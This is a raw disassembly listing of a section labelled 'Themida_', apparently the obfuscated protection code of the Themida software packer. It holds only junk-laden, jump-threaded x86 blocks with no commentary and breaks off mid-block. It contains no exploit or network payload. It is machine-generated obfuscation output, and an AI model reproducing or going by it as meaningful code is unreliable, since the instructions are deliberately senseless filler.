		push	ecx
		mov	ch, 81h
		sub	al, 3Ch
		sub	al, ch
		push	1F7h
		mov	[esp], edx
		mov	dh, 0C9h
		xor	dh, 0F5h
		add	al, dh
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59DE3C
; ---------------------------------------------------------------------------


loc_59C5ED:				; CODE XREF: Themida_:005951D4j
		xor	esi, 6AB572FEh
		add	esi, 43F0607Bh
		push	eax
		mov	eax, 5481532Ah
		neg	eax
		jmp	loc_5A402A
; ---------------------------------------------------------------------------


loc_59C606:				; CODE XREF: Themida_:0059B353j
		add	ebp, edi
		sub	ebp, 30E446Bh
		jmp	loc_59D43B
; ---------------------------------------------------------------------------


loc_59C613:				; CODE XREF: Themida_:005A4A13j
		push	ebp
		push	ebx
		jmp	loc_59D153
; ---------------------------------------------------------------------------


loc_59C61A:				; CODE XREF: Themida_:00597B46j
		mov	dh, 6Dh
		add	dh, 0C7h
		shl	dh, 4
		add	dh, 2Eh
		xor	cl, dh
		pop	edx
		sub	al, 0A3h
		add	al, cl
		add	al, 0A3h
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 8Bh
		xor	dl, 0D4h
		jmp	loc_59C715
; ---------------------------------------------------------------------------


loc_59C641:				; CODE XREF: Themida_:0059EC9Dj
		sub	eax, 47096E9Bh
		push	edi
		mov	edi, 0DB753FBh
		shr	edi, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 95274EBh
		inc	ebx
		jmp	loc_59DFF2
; ---------------------------------------------------------------------------


loc_59C663:				; CODE XREF: Themida_:00598B39j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_596806
; ---------------------------------------------------------------------------


loc_59C66F:				; CODE XREF: Themida_:00595A95j
		pop	esi
		push	ebp
		jmp	loc_597C41
; ---------------------------------------------------------------------------


loc_59C676:				; CODE XREF: Themida_:0059C965j
		add	ecx, 35CF63B7h
		or	ecx, 0B833D6Dh
		sub	ecx, 1DF2594Fh
		or	ecx, 54F745B4h
		or	ecx, 2F616D2Bh
		add	ecx, 0F96CED61h
		push	ebp
		jmp	loc_59AB95
; ---------------------------------------------------------------------------


loc_59C6A0:				; CODE XREF: Themida_:005952C6j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 7C2857FBh
		dec	ecx
		push	ebx
		jmp	loc_59ACF7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	2C43h
		mov	[esp], ecx
		push	edx
		jmp	loc_59E2F8
; ---------------------------------------------------------------------------


loc_59C6D7:				; CODE XREF: Themida_:005951F9j
		push	ecx
		jmp	loc_5975A4
; ---------------------------------------------------------------------------


loc_59C6DD:				; CODE XREF: Themida_:0059DA3Ej
		add	edx, 4
		jmp	loc_59153E
; ---------------------------------------------------------------------------


loc_59C6E8:				; CODE XREF: Themida_:005956DCj
		and	edi, ecx
		mov	ecx, [esp]
		push	7CE6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	esi
		jmp	loc_599BA2
; ---------------------------------------------------------------------------


loc_59C70B:				; CODE XREF: Themida_:0059C26Fj
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_59511E
; ---------------------------------------------------------------------------


loc_59C715:				; CODE XREF: Themida_:0059C63Cj
		not	dl
		dec	dl
		push	ebx
		mov	bh, 53h
		add	dl, bh
		pop	ebx
		push	dx
		jmp	loc_5936DD
; ---------------------------------------------------------------------------


loc_59C726:				; CODE XREF: Themida_:005A2A48j
		push	36CDh
		mov	[esp], esp
		jmp	loc_592437
; ---------------------------------------------------------------------------


loc_59C733:				; CODE XREF: Themida_:0059CF4Aj
		inc	ecx
		jmp	loc_5A3ABA
; ---------------------------------------------------------------------------


loc_59C739:				; CODE XREF: Themida_:005A1BD7j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	eax
		push	ebx
		mov	ebx, 4BD62D2Dh
		jmp	loc_5A4491
; ---------------------------------------------------------------------------


loc_59C74E:				; CODE XREF: Themida_:00590D11j
		add	edi, 4
		push	2ADDh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A145B
; ---------------------------------------------------------------------------


loc_59C766:				; CODE XREF: Themida_:0059E467j
		add	esp, 4
		jmp	loc_5A407D
; ---------------------------------------------------------------------------


loc_59C771:				; CODE XREF: Themida_:0059955Cj
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5941B4
; ---------------------------------------------------------------------------


loc_59C77F:				; CODE XREF: Themida_:005963BBj
		mov	ecx, 5E4A29F3h
		add	ebx, 1AA9427Dh
		sub	ebx, ecx
		sub	ebx, 1AA9427Dh
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_5A4662
; ---------------------------------------------------------------------------


loc_59C79B:				; CODE XREF: Themida_:005A1DC1j
		add	eax, 7515752h
		pop	ecx
		sub	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 43D5111Ch
		push	13BAh
		mov	[esp], eax
		push	esi
		mov	esi, 6F8607AFh
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	loc_5A2290
; ---------------------------------------------------------------------------


loc_59C7D7:				; CODE XREF: Themida_:005994CBj
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5992CF
; ---------------------------------------------------------------------------


loc_59C7E2:				; CODE XREF: Themida_:00591CA4j
		push	26DDh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_59B6BE
; ---------------------------------------------------------------------------


loc_59C7F3:				; CODE XREF: Themida_:005918BFj
		push	ebp
		mov	ebp, 6C6B45D5h
		jmp	loc_590692
; ---------------------------------------------------------------------------


loc_59C7FE:				; CODE XREF: Themida_:005A31C1j
		mov	[esp], cx
		mov	cl, 12h
		add	al, cl
		pop	cx
		push	cx
		mov	cl, 0A0h
		add	al, cl
		pop	cx
		push	ecx
		mov	cl, 0Dh
		add	al, cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	al, bl
		jmp	loc_5A1E23
; ---------------------------------------------------------------------------


loc_59C82F:				; CODE XREF: Themida_:00591A0Aj
		sub	dword ptr [esp+4], 52CD2DF1h
		pop	edi
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5A1BF4
; ---------------------------------------------------------------------------


loc_59C846:				; CODE XREF: Themida_:005A453Aj
		add	edi, ecx
		pop	ecx
		jmp	loc_59D908
; ---------------------------------------------------------------------------


loc_59C84E:				; CODE XREF: Themida_:005A1FAEj
		push	28B9h
		jmp	loc_597DF6
; ---------------------------------------------------------------------------


loc_59C858:				; CODE XREF: Themida_:00592208j
		add	edi, 29844384h
		add	edi, esi
		sub	edi, 29844384h
		pop	esi
		jmp	loc_59F491
; ---------------------------------------------------------------------------


loc_59C86C:				; CODE XREF: Themida_:005A3CBDj
		inc	ecx
		shl	ecx, 6
		sub	ecx, 0B2EAB421h
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 772770A3h
		push	edx
		mov	edx, 53B92FDBh
		jmp	loc_5968B5
; ---------------------------------------------------------------------------


loc_59C892:				; CODE XREF: Themida_:00598C37j
		mov	ebp, 4C87554Eh
		xor	ebp, 3B1DFF57h
		mov	edx, ebp
		pop	ebp
		sub	edx, esi
		pop	esi
		jmp	loc_596AEB
; ---------------------------------------------------------------------------


loc_59C8A8:				; CODE XREF: Themida_:005A0760j
		mov	ebp, [esp]
		jmp	loc_597232
; ---------------------------------------------------------------------------


loc_59C8B0:				; CODE XREF: Themida_:0059C2E5j
		mov	ecx, 668E0428h
		jmp	loc_598C15
; ---------------------------------------------------------------------------


loc_59C8BA:				; CODE XREF: Themida_:0059D924j
		neg	edx
		sub	edx, 4A892C8Bh
		add	edx, 1B8748DDh
		dec	edx
		sub	edx, 14CF925Ch
		and	esi, edx
		jmp	loc_596B09
; ---------------------------------------------------------------------------


loc_59C8D6:				; CODE XREF: Themida_:0059D436j
		push	esi
		jmp	loc_5A1AF3
; ---------------------------------------------------------------------------


loc_59C8DC:				; CODE XREF: Themida_:0059A61Cj
		sub	esp, 4
		jmp	loc_5A4403
; ---------------------------------------------------------------------------


loc_59C8E4:				; CODE XREF: Themida_:00596BC1j
		mov	eax, 4FE616ABh
		jmp	loc_59ED0D
; ---------------------------------------------------------------------------


loc_59C8EE:				; CODE XREF: Themida_:0059373Cj
		mov	ecx, 35752910h
		shr	ecx, 7
		or	ecx, 68BD7014h
		jmp	loc_595D4A
; ---------------------------------------------------------------------------


loc_59C901:				; CODE XREF: Themida_:005A2682j
		sub	edx, ecx
		jmp	loc_5A176C
; ---------------------------------------------------------------------------


loc_59C908:				; CODE XREF: Themida_:0059999Ej
		dec	ebp
		xor	ebp, 18B25179h
		xor	ebx, ebp
		jmp	loc_59CD5C
; ---------------------------------------------------------------------------


loc_59C916:				; CODE XREF: Themida_:00593104j
		xor	ebp, [esp]
		jmp	loc_595FD2
; ---------------------------------------------------------------------------


loc_59C91E:				; CODE XREF: Themida_:005977A8j
		xchg	ebx, [esp]
		jmp	loc_593111
; ---------------------------------------------------------------------------


loc_59C926:				; CODE XREF: Themida_:005A1506j
		dec	ecx
		add	ecx, 87B1C5D3h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_59EC3B
; ---------------------------------------------------------------------------


loc_59C938:				; CODE XREF: Themida_:00590E10j
		mov	[esp], esi
		jmp	loc_59B9F0
; ---------------------------------------------------------------------------


loc_59C940:				; CODE XREF: Themida_:00591A6Bj
		add	ebp, ebx
		sub	ebp, 196D0062h
		jmp	loc_5A1B38
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4427h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5A4222
; ---------------------------------------------------------------------------


loc_59C960:				; CODE XREF: Themida_:005958E6j
		mov	ecx, 591F2F6Bh
		jmp	loc_59C676
; ---------------------------------------------------------------------------


loc_59C96A:				; CODE XREF: Themida_:0059FA41j
		push	ecx
		mov	ecx, 0D021E2Dh
		and	ecx, 2E4858EDh
		dec	ecx
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 58086134h
		add	ecx, 0ABF786ECh
		jmp	loc_5920D8
; ---------------------------------------------------------------------------


loc_59C993:				; CODE XREF: Themida_:0059207Ej
		pop	ebp
		add	esp, 4
		or	eax, 76BA29CBh
		jmp	loc_59E9D2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_592EEC
; ---------------------------------------------------------------------------


loc_59C9AD:				; CODE XREF: Themida_:00598770j
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 668371D8h
		add	eax, ebx
		add	eax, 668371D8h
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A077A
		push	dword ptr [edi+1Ch]
		push	57Ah
		mov	[esp], esi
		push	ecx
		push	5DAA6AD3h
		pop	ecx
		dec	ecx
		push	esi
		jmp	loc_593C9D
; ---------------------------------------------------------------------------


loc_59C9F2:				; CODE XREF: Themida_:005974BBj
		mov	esi, ebp
		pop	ebp
		jmp	loc_59F1A7
; ---------------------------------------------------------------------------


loc_59C9FA:				; CODE XREF: Themida_:00592C38j
		sub	edx, 3F1914F4h
		add	edx, eax
		push	eax
		mov	eax, 2C4F2B53h
		push	54E4h
		jmp	loc_5A0FAB
; ---------------------------------------------------------------------------


loc_59CA12:				; CODE XREF: Themida_:00594441j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5975AA
; ---------------------------------------------------------------------------


loc_59CA33:				; CODE XREF: Themida_:005A2A1Ej
		add	ecx, 728103CBh
		sub	ecx, ebx
		sub	ecx, 728103CBh
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_592E35
		push	ebx
		jmp	loc_59A1D8
; ---------------------------------------------------------------------------


loc_59CA53:				; CODE XREF: Themida_:0059385Bj
		mov	ebp, 2AB33F79h
		mov	esi, 2AB33F7Bh
		xor	esi, ebp
		jmp	loc_5A3E62
; ---------------------------------------------------------------------------


loc_59CA64:				; CODE XREF: Themida_:005A5075j
		pop	esi
		add	eax, 7D086Eh
		add	eax, ecx
		sub	eax, 7D086Eh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 1DD508F1h
		sub	edx, 4F9E68F7h
		push	edx
		push	ebx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		not	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		push	ecx
		mov	ecx, 2F820B61h
		sub	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0BB6A4526h
		sub	edx, ecx
		pop	ecx
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59AC1A
; ---------------------------------------------------------------------------


loc_59CAD3:				; CODE XREF: Themida_:00594F39j
		mov	[esp], edi
		push	6ADEh
		jmp	loc_5A14A3
; ---------------------------------------------------------------------------


loc_59CAE0:				; CODE XREF: Themida_:005A50EEj
		mov	ebx, esi
		pop	esi
		jmp	loc_59E1A6
; ---------------------------------------------------------------------------


loc_59CAE8:				; CODE XREF: Themida_:00591DB8j
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598809
; ---------------------------------------------------------------------------


loc_59CAF4:				; CODE XREF: Themida_:005A5359j
		sub	ebx, 4B542116h
		jmp	loc_59C45F
; ---------------------------------------------------------------------------


loc_59CAFF:				; CODE XREF: Themida_:0059BB50j
		mov	esi, esp
		add	esi, 4
		jmp	loc_59FA83
; ---------------------------------------------------------------------------


loc_59CB0C:				; CODE XREF: Themida_:0059BD2Cj
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_5A4213
; ---------------------------------------------------------------------------


loc_59CB16:				; CODE XREF: Themida_:00590E95j
		mov	ebx, 2A74235Dh
		xor	ebx, edx
		pop	edx
		add	ebp, 28FF3F9Dh
		add	ebp, ebx
		sub	ebp, 28FF3F9Dh
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59792D
; ---------------------------------------------------------------------------


loc_59CB3A:				; CODE XREF: Themida_:00595A4Ej
		push	bx
		mov	bl, 96h
		xor	dl, bl
		jmp	loc_5A1A5C
; ---------------------------------------------------------------------------


loc_59CB45:				; CODE XREF: Themida_:00597D8Aj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A1A18
; ---------------------------------------------------------------------------


loc_59CB53:				; CODE XREF: Themida_:00595677j
		mov	bh, 4Fh
		push	edx
		jmp	loc_59BB08
; ---------------------------------------------------------------------------


loc_59CB5B:				; CODE XREF: Themida_:0059F859j
		add	edi, 4
		push	2ED0h
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_5A0EE4
; ---------------------------------------------------------------------------


loc_59CB72:				; CODE XREF: Themida_:0059754Bj
		mov	[esp], eax
		mov	eax, 2570592h
		jmp	loc_594DA2
; ---------------------------------------------------------------------------


loc_59CB7F:				; CODE XREF: Themida_:00598BEBj
		add	edx, 4A45411Dh
		pop	edi
		push	edi
		mov	edi, 2
		jmp	loc_59357A
; ---------------------------------------------------------------------------


loc_59CB91:				; CODE XREF: Themida_:005A43F6j
		add	ebp, 661F4A59h
		jmp	loc_5A1567
; ---------------------------------------------------------------------------


loc_59CB9C:				; CODE XREF: Themida_:0059033Fj
		xchg	esi, [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	ebp
		push	674B4770h
		pop	ebp
		sub	ebp, 674B476Ch
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5A2252
; ---------------------------------------------------------------------------


loc_59CBDD:				; CODE XREF: Themida_:00590D53j
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59CBE7:				; CODE XREF: Themida_:005937ABj
		sub	esi, edx
		pop	edx
		and	esi, 2B661709h
		jmp	loc_597FD0
; ---------------------------------------------------------------------------


loc_59CBF5:				; CODE XREF: Themida_:0059DEEBj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59CC09:				; CODE XREF: Themida_:00590EEEj
		add	esp, 4
		jmp	loc_59A4C2
; ---------------------------------------------------------------------------


loc_59CC11:				; CODE XREF: Themida_:00590B18j
		sub	ebp, 70C128F0h
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	992h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_5A541E
		push	ebp
		push	26C23F8Bh
		mov	ebp, [esp]
		jmp	loc_596F0F
; ---------------------------------------------------------------------------


loc_59CC4C:				; CODE XREF: Themida_:00597FBBj
		pop	ebp
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59CC68:				; CODE XREF: Themida_:005908DAj
		xchg	esi, [esp]
		pop	esp
		push	ebx
		jmp	loc_59D55A
; ---------------------------------------------------------------------------


loc_59CC72:				; CODE XREF: Themida_:00599629j
		add	esp, 2
		jmp	loc_5A300B
; ---------------------------------------------------------------------------


loc_59CC7D:				; CODE XREF: Themida_:0059F0BBj
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59CC88:				; CODE XREF: Themida_:00594577j
		pop	esi
		sub	edx, eax
		pop	eax
		jmp	loc_59ADB0
; ---------------------------------------------------------------------------


loc_59CC91:				; CODE XREF: Themida_:00594157j
		pop	esi
		push	0ACEh
		mov	[esp], eax
		mov	eax, 0D571704h
		xor	eax, 0D571700h
		push	ecx
		mov	ecx, 146A03C4h
		add	ecx, 4DE06122h
		and	ecx, 76C94BB7h
		jmp	loc_5922E0
; ---------------------------------------------------------------------------


loc_59CCBB:				; CODE XREF: Themida_:0059E89Bj
		mov	edx, 0A96E141Dh
		xor	ebx, edx
		jmp	loc_596BDE
; ---------------------------------------------------------------------------


loc_59CCC7:				; CODE XREF: Themida_:00597216j
		mov	di, dx
		jmp	loc_596103
; ---------------------------------------------------------------------------


loc_59CCCF:				; CODE XREF: Themida_:005A2E04j
		shl	ebp, 3
		jmp	loc_594759
; ---------------------------------------------------------------------------


loc_59CCD7:				; CODE XREF: Themida_:0059CF72j
		mov	ecx, [esp]
		add	esp, 4
		push	5D3Dh
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 184162EBh
		push	ecx
		mov	ecx, 227C3EC7h
		dec	ecx
		shl	ecx, 3
		jmp	loc_596FE1
; ---------------------------------------------------------------------------


loc_59CCFF:				; CODE XREF: Themida_:0059DD01j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_59EEC1
; ---------------------------------------------------------------------------


loc_59CD12:				; CODE XREF: Themida_:00590DB7j
		sub	eax, 0A1E6306h
		pop	esi
		jmp	loc_5A4C43
; ---------------------------------------------------------------------------


loc_59CD1D:				; CODE XREF: Themida_:0059A605j
		add	ebx, ecx
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, 2
		push	eax
		mov	eax, 7CEE79C0h
		add	eax, 47827C13h
		or	eax, 1A032382h
		neg	eax
		shr	eax, 4
		xor	eax, 7AE94E74h
		add	eax, 0A63BB84Ah
		sub	ebx, eax
		pop	eax
		jmp	loc_593986
; ---------------------------------------------------------------------------


loc_59CD4E:				; CODE XREF: Themida_:00594D02j
		add	ebp, 0D3DAD7Eh
		sub	esi, ebp
		pop	ebp
		jmp	loc_593976
; ---------------------------------------------------------------------------


loc_59CD5C:				; CODE XREF: Themida_:0059C911j
		pop	ebp
		inc	ebx
		sub	ebx, 7B1E206Eh
		mov	esi, ebx
		pop	ebx
		add	eax, 7B2E2D02h
		add	eax, esi
		sub	eax, 7B2E2D02h
		pop	esi
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_59C438
; ---------------------------------------------------------------------------


loc_59CD82:				; CODE XREF: Themida_:00597206j
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_591975
; ---------------------------------------------------------------------------


loc_59CD8E:				; CODE XREF: Themida_:0059AE6Bj
		mov	bl, dh
		pop	edx
		push	ecx
		mov	cl, 81h
		jmp	loc_5948EB
; ---------------------------------------------------------------------------


loc_59CD99:				; CODE XREF: Themida_:0059E681j
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5943F9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	68D7h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_597550
; ---------------------------------------------------------------------------


loc_59CDBE:				; CODE XREF: Themida_:005A3F82j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	ecx, eax
		jmp	loc_598BF0
; ---------------------------------------------------------------------------


loc_59CDE7:				; CODE XREF: Themida_:0059604Aj
		pop	ebp
		inc	ebp
		add	ebp, 24FC45A9h
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		sub	al, 0A4h
		sub	al, bl
		push	edx
		mov	dl, 64h
		jmp	loc_5A278B
; ---------------------------------------------------------------------------


loc_59CE08:				; CODE XREF: Themida_:0059F6D9j
		shl	edi, 6
		or	edi, 3C5D6026h
		xor	edi, 4B68E41Fh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_595CD9
; ---------------------------------------------------------------------------


loc_59CE24:				; CODE XREF: Themida_:0059A05Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	27B8h
		mov	[esp], edi
		mov	edi, 4
		push	edi
		mov	edi, 58FB205Dh
		add	esi, edi
		pop	edi
		add	esi, edi
		sub	esi, 58FB205Dh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A0B52
; ---------------------------------------------------------------------------


loc_59CE55:				; CODE XREF: Themida_:0059A4C3j
		pop	ebx
		inc	cl
		add	cl, 0D5h
		not	cl
		add	cl, 67h
		jmp	loc_5921AE
; ---------------------------------------------------------------------------


loc_59CE65:				; CODE XREF: Themida_:00596C19j
		mov	eax, 4CE10E0Fh
		neg	eax
		xor	eax, 9CEC85A5h
		xor	esi, eax
		pop	eax
		push	edi
		mov	edi, 58007C7h
		xor	esi, edi
		jmp	loc_59EBC2
; ---------------------------------------------------------------------------


loc_59CE81:				; CODE XREF: Themida_:0059427Aj
		pop	eax
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_597BBF
; ---------------------------------------------------------------------------


loc_59CE8B:				; CODE XREF: Themida_:0059DAABj
		pop	esp
		add	esp, 4
		sub	esp, 4
		jmp	loc_598C9C
; ---------------------------------------------------------------------------


loc_59CE9A:				; CODE XREF: Themida_:005934D9j
		add	ebx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_594F09
; ---------------------------------------------------------------------------


loc_59CEB3:				; CODE XREF: Themida_:005A29C0j
		movzx	cx, ah
		push	small 6098h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59CECB:				; CODE XREF: Themida_:0059D728j
		add	[esp+4], ebx
		push	edx
		push	ecx
		mov	ecx, 5914666h
		shr	ecx, 7
		xor	ecx, 6A19746Ah
		mov	edx, ecx
		jmp	loc_598047
; ---------------------------------------------------------------------------


loc_59CEE6:				; CODE XREF: Themida_:005A38D0j
		mov	[esp], esi
		jmp	loc_59B212
; ---------------------------------------------------------------------------


loc_59CEEE:				; CODE XREF: Themida_:0059BC3Dj
		mov	edx, [esp]
		jmp	loc_596F44
; ---------------------------------------------------------------------------


loc_59CEF6:				; CODE XREF: Themida_:005A03B2j
		pop	esi
		sub	ecx, ebp
		push	edx
		mov	edx, 46EC6EDDh
		jmp	loc_592F9B
; ---------------------------------------------------------------------------


loc_59CF04:				; CODE XREF: Themida_:005923EEj
		mov	ecx, ebp
		pop	ebp
		add	ecx, 1A1105E5h
		add	ecx, 0E3E5F288h
		add	esi, ecx
		pop	ecx
		jmp	loc_594981
; ---------------------------------------------------------------------------


loc_59CF1B:				; CODE XREF: Themida_:005A4280j
		push	eax
		mov	al, 0DBh
		mov	ch, al
		pop	eax
		jmp	loc_5A41FE
; ---------------------------------------------------------------------------


loc_59CF26:				; CODE XREF: Themida_:0059B1C8j
		pop	edi
		push	4DB6h
		mov	[esp], ebp
		mov	ebp, 473A4976h
		add	ebp, 0B8C5B68Ch
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_59D787
; ---------------------------------------------------------------------------


loc_59CF45:				; CODE XREF: Themida_:0059D2B4j
		mov	ecx, 48534E36h
		jmp	loc_59C733
; ---------------------------------------------------------------------------


loc_59CF4F:				; CODE XREF: Themida_:0059F240j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	cx, al
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_59CCD7
; ---------------------------------------------------------------------------


loc_59CF77:				; CODE XREF: Themida_:005A2111j
		sub	al, 0CAh
		push	dword ptr [esp]
		jmp	loc_599590
; ---------------------------------------------------------------------------


loc_59CF81:				; CODE XREF: Themida_:00599B84j
		and	ebx, 0E887B93h
		sub	ebx, 0FA781B29h
		add	ebx, ebp
		pop	ebp
		shr	ebx, 3
		sub	ebx, 4A413639h
		sub	ebx, 7F612221h
		jmp	loc_59526E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A2943
; ---------------------------------------------------------------------------


loc_59CFAD:				; CODE XREF: Themida_:0059C559j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5956E1
; ---------------------------------------------------------------------------


loc_59CFCA:				; CODE XREF: Themida_:005978FFj
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0C835FB1h
		add	esi, 1C266F60h
		and	esi, 7D296AC4h
		and	esi, 33435F31h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_59F0EB
; ---------------------------------------------------------------------------


loc_59D001:				; CODE XREF: Themida_:0059A273j
		add	esp, 4
		push	55B9h
		mov	[esp], ecx
		push	2
		pop	ecx
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_59BCEF
; ---------------------------------------------------------------------------


loc_59D020:				; CODE XREF: Themida_:005A3AB5j
		add	bl, 4Ch
		sub	esp, 4
		jmp	loc_5931E7
; ---------------------------------------------------------------------------


loc_59D02B:				; CODE XREF: Themida_:00597638j
		pop	edx
		add	ebx, edi
		pop	edi
		jmp	loc_5A54D3
; ---------------------------------------------------------------------------


loc_59D034:				; CODE XREF: Themida_:0059DB29j
		sub	dh, cl
		jmp	loc_5999CF
; ---------------------------------------------------------------------------


loc_59D03B:				; CODE XREF: Themida_:005A34B1j
		shl	ecx, 8
		not	ecx
		push	esi
		mov	esi, 792C4605h
		jmp	loc_5998E3
; ---------------------------------------------------------------------------


loc_59D04B:				; CODE XREF: Themida_:005985A7j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 149942C8h
		mov	ebp, ecx
		pop	ecx
		mov	esi, 18AC127Ch
		shr	esi, 1
		inc	esi
		and	esi, 14667552h
		jmp	loc_591EA6
; ---------------------------------------------------------------------------


loc_59D06A:				; CODE XREF: Themida_:005942A3j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_595209
; ---------------------------------------------------------------------------


loc_59D073:				; CODE XREF: Themida_:005935A0j
		pop	edi
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59A42B
; ---------------------------------------------------------------------------


loc_59D08A:				; CODE XREF: Themida_:0059F55Fj
		add	eax, 7E8C66B9h
		pop	ecx
		add	eax, ebx
		add	eax, 13EB171Fh
		push	19B0h
		mov	[esp], esi
		jmp	loc_5922B0
; ---------------------------------------------------------------------------


loc_59D0A4:				; CODE XREF: Themida_:00596E99j
		sub	esp, 4
